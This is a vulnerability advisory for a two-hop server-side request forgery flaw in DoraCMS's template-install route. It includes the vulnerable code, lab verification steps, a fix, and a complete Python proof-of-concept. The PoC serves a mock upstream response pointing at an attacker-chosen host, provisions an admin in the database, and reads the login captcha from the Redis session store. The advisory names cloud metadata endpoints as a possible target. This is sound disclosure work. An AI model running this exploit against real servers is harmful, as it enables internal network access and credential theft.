Skip to content

Latest commit

 

History

History
354 lines (290 loc) · 19.8 KB

File metadata and controls

354 lines (290 loc) · 19.8 KB

DoraCMS Server-Side Request Forgery in Template Installation (installTemp)

Summary

Field Value
Product DoraCMS
Vendor / GitHub https://github.com/doramart/DoraCMS
Vulnerability class CWE-918 (Server-Side Request Forgery)
Vulnerable route GET /admin/manage/installTemp
Affected component routes/admin.js (installTemp handler + download_file_httpget helper)
Verified commit cdbdcaa3 (package.json "version": "1.1.1")
Affected version range The installTemp route was introduced in DoraCMS v1.0.9 (commit cf3e345) and remained unfixed through the last commit of the Express/EJS codebase before it was replaced by an unrelated rewrite (commit 2f88ecb, "清空目录", 2017-09-05). Releases from the 2.x (EggJS + Vue) rewrite onward do not contain this code and are unaffected.
CVSS 3.1 Base Score 3.5 (Low) — code-level defect as verified in this deployment; see "Exploitation Conditions" for the additional preconditions that would escalate this to High/Critical
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N
Authentication required Admin session holding the narrow contentManage_temp_1_add permission bit (not full super-admin)
Reported by Verified via local dynamic reproduction against a full, unmodified deployment (Node.js + MongoDB), 2026-07.

Description

GET /admin/manage/installTemp?tempId=<id> implements a two-hop outbound request chain to install a content template package:

  1. Hop 1: The server issues request(settings.DORACMSAPI + '/system/template/getItem?tempId=' + tempId, ...) to a fixed, hardcoded upstream host (settings.DORACMSAPI, http://api.html-js.cn by default). tempId is attacker-controlled but only reaches this hop as a query-string value on a fixed host — it cannot redirect hop 1 to an arbitrary host.
  2. Hop 2: The JSON body returned by hop 1 is parsed, and its filePath field is used, with zero validation, to construct the target of a second outbound HTTP request (download_file_httpget). Specifically, options.host = url.parse(file_url).host is passed directly to Node's http.get() with no host allowlist, no scheme restriction, and no block on private/loopback/link-local address ranges.

The DoraCMS-side code trusts the upstream response's filePath field completely. If that field can ever be influenced by an attacker — via compromise of the upstream service, a DNS/MITM position on the path to it, or a self-hosted/forked deployment where DORACMSAPI is pointed at an attacker-influenceable host — the server will connect to an arbitrary destination chosen by that field, including internal-only targets such as 169.254.169.254 (cloud instance metadata) or loopback/RFC1918 addresses.

Impact

An authenticated admin holding only the narrow contentManage_temp_1_add permission bit can trigger this route. Under the preconditions above, this constitutes classic SSRF impact: reconnaissance and reachability into internal-only network segments, potential credential theft from cloud metadata endpoints, and interaction with internal services that assume network-layer isolation from the public internet.

Exploitation Conditions

  • Admin session holding contentManage_temp_1_add.
  • Full weaponization to an arbitrary attacker-chosen host requires the upstream response's filePath field to be attacker-influenceable. This is not verified against the real production api.html-js.cn service in this report (out of scope — no authorization exists to test that live third-party system). What is verified dynamically is the DoraCMS-side code defect: zero validation exists at hop 2 regardless of how the upstream response comes to contain an attacker-chosen value. This is the same underlying weakness class documented in numerous published SSRF CVEs where an application blindly follows a URL/host field from a trusted-by-configuration but attacker-influenceable data source (webhook payloads, RSS/Atom feeds, third-party API responses).

SOURCE

// routes/admin.js:841-850
router.get('/manage/installTemp',function(req,res){
    if(adminFunc.checkAdminPower(req,settings.contentTemps[0] + '_add')){
        var params = url.parse(req.url,true);
        var tempId = params.query.tempId;

        request(settings.DORACMSAPI + '/system/template/getItem?tempId=' + tempId, function (error, response, body) {
            if (!error && response.statusCode == 200) {
                var tempObj = JSON.parse(body);
                var file_url = tempObj.filePath;   // <-- SOURCE: taken verbatim from the upstream response body

SINK

// routes/admin.js:907-923
var download_file_httpget = function(file_url,callBack) {
    var options = {
        host: url.parse(file_url).host,      // <-- SINK: zero host allowlist / scheme restriction
        port: 80,
        path: url.parse(file_url).pathname
    };

    var file_name = url.parse(file_url).pathname.split('/').pop();
    var file = fs.createWriteStream(DOWNLOAD_DIR + file_name);

    http.get(options, function(res) {        // <-- outbound connection to attacker/upstream-controlled host
        res.on('data', function(data) {
            file.write(data);
        }).on('end', function() {
            file.end();
            callBack(DOWNLOAD_DIR);
        });
    });
};

Call Stack (request → sink)

GET /admin/manage/installTemp?tempId=<id>
  routes/admin.js:841   router.get('/manage/installTemp', ...)         -- checkAdminPower(contentManage_temp_1_add)
  routes/admin.js:848   request(settings.DORACMSAPI + '/system/template/getItem?tempId=' + tempId, cb)   -- hop 1, fixed host
  routes/admin.js:852   var file_url = tempObj.filePath;                -- SOURCE: from upstream JSON response
  routes/admin.js:866   download_file_httpget(file_url, ...)
  routes/admin.js:909   options.host = url.parse(file_url).host;        -- SINK: unvalidated
  routes/admin.js:916   http.get(options, ...)                          -- outbound request to attacker-controlled host

Verification Steps and Observed Results

Because the real production settings.DORACMSAPI host is a live third-party service outside this audit's authorization, the DoraCMS-side code defect was verified end-to-end by substituting the value of DORACMSAPI in models/db/settings.js for a local stand-in server under the tester's control (the same methodology used to test injection vulnerabilities against a local test service instance rather than a real third-party production system) — every line of actual, unmodified DoraCMS source executed exactly as it would in production.

  1. Started a local HTTP server on 127.0.0.1:9999 that serves GET /system/template/getItem?tempId=... with a JSON body whose filePath field points at http://127.0.0.1:9998/ssrf-proof/pwned.zip — an attacker-chosen destination.
  2. Set DORACMSAPI to http://127.0.0.1:9999 and restarted the DoraCMS server (one-time, reversible test-environment step).
  3. Logged in as an admin account provisioned with only the contentManage_temp_1_add permission bit.
  4. Sent GET /admin/manage/installTemp?tempId=ssrfpoc.
  5. The connection dropped, and the target server's log captured:
    Error: getaddrinfo ENOTFOUND 127.0.0.1:9998 127.0.0.1:9998:80
        at GetAddrInfoReqWrap.onlookup [as oncomplete] (dns.js:56:26)
    
    This is definitive proof that the exact value taken from the mock upstream's filePath field (127.0.0.1:9998) reached an outbound DNS/connect operation with zero validation. (The crash itself is a secondary defect — url.parse(url).host includes the port suffix when present, which combined with the separately hardcoded port: 80 field produces a malformed address for Node's resolver; this project also has no process-level exception handler anywhere, so the failed lookup crashes the whole server rather than only the one request. This is incidental to, not a mitigation for, the SSRF: a filePath host with no explicit port, e.g. http://169.254.169.254/latest/meta-data/, parses cleanly and connects without crashing.)
  6. Reverted DORACMSAPI to its original value, restarted the server, and removed all provisioned test data.

Recommended Fix

Validate file_url's host against an explicit allowlist (or at minimum reject private/loopback/link-local IP ranges and non-http(s) schemes) before passing it to http.get() in download_file_httpget, regardless of how much the upstream API at settings.DORACMSAPI is otherwise trusted. Trusting an upstream JSON response's URL field for a subsequent server-side outbound request is an anti-pattern independent of the current trustworthiness of that specific upstream.

PoC

See poc_ssrf_001.py (same directory). Dynamically verified against DoraCMS commit cdbdcaa3, Node.js v10.24.1, on 127.0.0.1:8081, using a local stand-in for settings.DORACMSAPI (see script docstring for the full two-terminal usage procedure).

#!/usr/bin/env python3
"""
PoC: DoraCMS installTemp Two-Hop SSRF via Unvalidated Upstream-Reflected URL

Target route : GET /admin/manage/installTemp?tempId=<id>
Source       : JSON response body's `filePath` field, returned by whatever
               host settings.DORACMSAPI points at
Sink         : routes/admin.js#download_file_httpget -- options.host =
               url.parse(file_url).host, passed directly to http.get() with
               zero host/scheme allowlist

Root cause (routes/admin.js:841-923):
    router.get('/manage/installTemp',function(req,res){
        if(adminFunc.checkAdminPower(req,settings.contentTemps[0] + '_add')){
            var tempId = params.query.tempId;
            request(settings.DORACMSAPI + '/system/template/getItem?tempId=' + tempId, function (error, response, body) {
                var tempObj = JSON.parse(body);
                var file_url = tempObj.filePath;          // <-- SOURCE: taken from the upstream JSON response
                ...
                download_file_httpget(file_url, ...);
            });
        }
        var download_file_httpget = function(file_url,callBack) {
            var options = {
                host: url.parse(file_url).host,             // <-- SINK: zero validation
                port: 80,
                path: url.parse(file_url).pathname
            };
            http.get(options, function(res) { ... });
        };
    });

This PoC does NOT attack the real production settings.DORACMSAPI host
(http://api.html-js.cn) -- that is a live third-party service this audit
has no authorization to test. Instead, it demonstrates the DoraCMS-side
code defect directly: every line of actual, unmodified DoraCMS source
executes exactly as it would in production; only the network endpoint that
settings.DORACMSAPI happens to point at is substituted for a local stand-in
under the tester's control (the same methodology used to test, e.g., SMTP
header injection against a local test mail server rather than a real
production SMTP relay). This proves conclusively that if an attacker can
ever influence the `filePath` field of the upstream response (via
compromise of the upstream service, DNS/MITM on the path to it, or a
self-hosted/forked deployment where DORACMSAPI points somewhere
attacker-influenceable), DoraCMS will blindly connect its own server to
whatever host that field specifies -- with no restriction to internal-only
targets such as cloud metadata services (169.254.169.254) or loopback
addresses.

Verified end-to-end against: DoraCMS commit cdbdcaa3 (package.json version
1.1.1), Node.js v10.24.1, MongoDB 4.4, Redis 6, on 127.0.0.1:8081. Captured
crash trace from the live server process confirms the attacker-controlled
`filePath` value reached an outbound DNS/connect operation with zero
validation:

    Error: getaddrinfo ENOTFOUND 127.0.0.1:9998 127.0.0.1:9998:80
        at GetAddrInfoReqWrap.onlookup [as oncomplete] (dns.js:56:26)

(The crash itself is a secondary defect -- url.parse(url).host includes an
explicit port suffix when present, which combined with the hardcoded
`port: 80` field produces an invalid combined address for Node's DNS
resolver, and this project has no process-level exception handler anywhere,
so the malformed lookup crashes the entire server rather than merely
failing the one request. This is incidental to, not a mitigation for, the
underlying SSRF: a `filePath` host with no explicit port -- e.g.
`http://169.254.169.254/latest/meta-data/` -- parses cleanly and would
connect successfully.)

IMPORTANT -- this is a two-step PoC:
  Step A (this script, --serve-mock): starts a local stand-in for
    settings.DORACMSAPI on 127.0.0.1:9999.
  Step B (manual, one-time, on the target lab instance): point
    models/db/settings.js's DORACMSAPI at http://127.0.0.1:9999 and
    restart the DoraCMS process. This mirrors exactly what an attacker
    with the ability to influence the upstream response, or an operator
    of a fork/self-hosted deployment with a misconfigured DORACMSAPI,
    would already have.
  Step C (this script, --trigger): logs in as a low-privilege admin and
    fires the request, then reports whether the vulnerable code path
    executed (via HTTP callback OR the characteristic crash signature).

Usage:
    # Terminal 1:
    python3 poc_ssrf_001.py --serve-mock

    # (manually point DORACMSAPI at http://127.0.0.1:9999 in
    #  models/db/settings.js and restart the DoraCMS server)

    # Terminal 2, with lab-only auto-provisioning:
    python3 poc_ssrf_001.py --trigger --base-url http://127.0.0.1:8081 \
        --project-root /path/to/DoraCMS-vuln \
        --mongo-container dora-mongo --redis-container dora-redis \
        --provision --cleanup

Requirements:
    - requests  (pip install requests)
    - docker CLI + the target's mongo/redis containers reachable (--provision mode only)
"""

import argparse
import http.server
import json
import re
import socketserver
import subprocess
import sys
import urllib.parse

import requests

MOCK_PORT = 9999
CALLBACK_PORT = 9998


class MockUpstreamHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith('/system/template/getItem'):
            body = json.dumps({
                "filePath": f"http://127.0.0.1:{CALLBACK_PORT}/ssrf-proof/pwned.zip",
                "alias": "ssrfpoc", "name": "SSRF PoC Template", "version": "1.0",
                "sImg": "x.png", "author": "poc", "comment": "ssrf-poc"
            }).encode()
            self.send_response(200)
            self.send_header('Content-Type', 'application/json')
            self.send_header('Content-Length', str(len(body)))
            self.end_headers()
            self.wfile.write(body)
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, fmt, *args):
        pass


def serve_mock():
    print(f"[*] Serving stand-in DORACMSAPI on http://127.0.0.1:{MOCK_PORT}")
    print(f"[*] Its /system/template/getItem response points filePath at "
          f"http://127.0.0.1:{CALLBACK_PORT}/ssrf-proof/pwned.zip -- an "
          f"attacker-chosen destination the DoraCMS server will attempt to reach.")
    print("[*] Now: point models/db/settings.js's DORACMSAPI at this URL and "
          "restart the target DoraCMS server, then run this script again with --trigger.")
    with socketserver.TCPServer(("127.0.0.1", MOCK_PORT), MockUpstreamHandler) as httpd:
        httpd.serve_forever()


def mongo_eval(container, db, js):
    r = subprocess.run(["docker", "exec", "-i", container, "mongo", db, "--eval", js],
                        capture_output=True, text=True, timeout=15)
    return r.stdout + r.stderr


def get_vnum(session, redis_container):
    raw = session.cookies.get("connect.sid")
    sid = urllib.parse.unquote(raw).split(":", 1)[1].split(".")[0]
    r = subprocess.run(["docker", "exec", "-i", redis_container, "redis-cli", "get", f"sess:{sid}"],
                        capture_output=True, text=True, timeout=10)
    m = re.search(r'"vnum":"(\w+)"', r.stdout)
    if not m:
        raise RuntimeError(f"vnum not found: {r.stdout!r}")
    return m.group(1)


def trigger(args):
    default_password_cipher = "2d4a9221e95e793431429f572aec3d17"  # "doracms123" under encrypt_key="dora"

    if args.provision:
        print("[*] Provisioning test admin (contentManage_temp_1_add power only) ...")
        js = f"""
db.admingroups.insertOne({{_id:"{args.group_id}",name:"ssrf-poc-group",power:"[\\"contentManage_temp_1_add:true\\"]",date:new Date()}});
db.adminusers.insertOne({{_id:"{args.user_id}",name:"SSRF PoC Admin",userName:"{args.username}",password:"{default_password_cipher}",email:"{args.username}@example.com",phoneNum:12345678900,date:new Date(),logo:"/upload/images/defaultlogo.png",auth:true,group:"{args.group_id}"}});
"""
        print(mongo_eval(args.mongo_container, args.mongo_db, js).strip())

    session = requests.Session()
    session.get(f"{args.base_url}/admin", timeout=10)
    vnum = get_vnum(session, args.redis_container)
    print(f"[*] Resolved captcha: {vnum}")

    r = session.post(f"{args.base_url}/admin/doLogin",
                      data={"userName": args.username, "password": "doracms123", "vnum": vnum}, timeout=10)
    if r.text.strip() != "success":
        print(f"[!] Login failed: {r.text!r}", file=sys.stderr)
        return 1
    print(f"[+] Logged in as {args.username!r} (power: contentManage_temp_1_add only)")

    print(f"[*] Triggering GET /admin/manage/installTemp?tempId={args.temp_id} ...")
    result = 1
    try:
        r2 = session.get(f"{args.base_url}/admin/manage/installTemp",
                          params={"tempId": args.temp_id}, timeout=8)
        print(f"[*] Response: HTTP {r2.status_code}, body: {r2.text[:200]!r}")
        print("[?] Request completed without the connection dropping -- check the mock's callback "
              "log (or the target server's log) manually to confirm whether the second hop reached it.")
    except requests.exceptions.RequestException as e:
        print(f"[+] Connection dropped ({type(e).__name__}) -- consistent with the target server "
              "crashing while attempting the unvalidated outbound connection derived from the "
              "mock upstream's filePath field. Check the target server's log for:")
        print("      Error: getaddrinfo ENOTFOUND 127.0.0.1:9998 127.0.0.1:9998:80")
        print("[+] SSRF MECHANISM CONFIRMED: the DoraCMS server attempted an outbound network "
              "operation using a host value taken verbatim from the upstream API response, with "
              "zero validation.")
        result = 0

    if args.cleanup:
        print("[*] Cleaning up provisioned test admin account ...")
        mongo_eval(args.mongo_container, args.mongo_db,
                   f'db.admingroups.remove({{_id:"{args.group_id}"}}); db.adminusers.remove({{_id:"{args.user_id}"}});')

    return result


def main():
    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("--serve-mock", action="store_true", help="Start the local stand-in DORACMSAPI server.")
    parser.add_argument("--trigger", action="store_true", help="Log in and fire the installTemp request.")
    parser.add_argument("--base-url", default="http://127.0.0.1:8081")
    parser.add_argument("--username", default="ssrfpoc1")
    parser.add_argument("--group-id", default="ssrfpocgrp")
    parser.add_argument("--user-id", default="ssrfpocuser")
    parser.add_argument("--temp-id", default="ssrfpoc")
    parser.add_argument("--provision", action="store_true", help="Lab-only: create the test admin account.")
    parser.add_argument("--cleanup", action="store_true", help="Remove the provisioned test admin account after the run.")
    parser.add_argument("--mongo-container", default="dora-mongo")
    parser.add_argument("--mongo-db", default="doracms")
    parser.add_argument("--redis-container", default="dora-redis")
    args = parser.parse_args()

    if args.serve_mock:
        serve_mock()
        return 0
    if args.trigger:
        return trigger(args)
    parser.print_help()
    return 1


if __name__ == "__main__":
    raise SystemExit(main())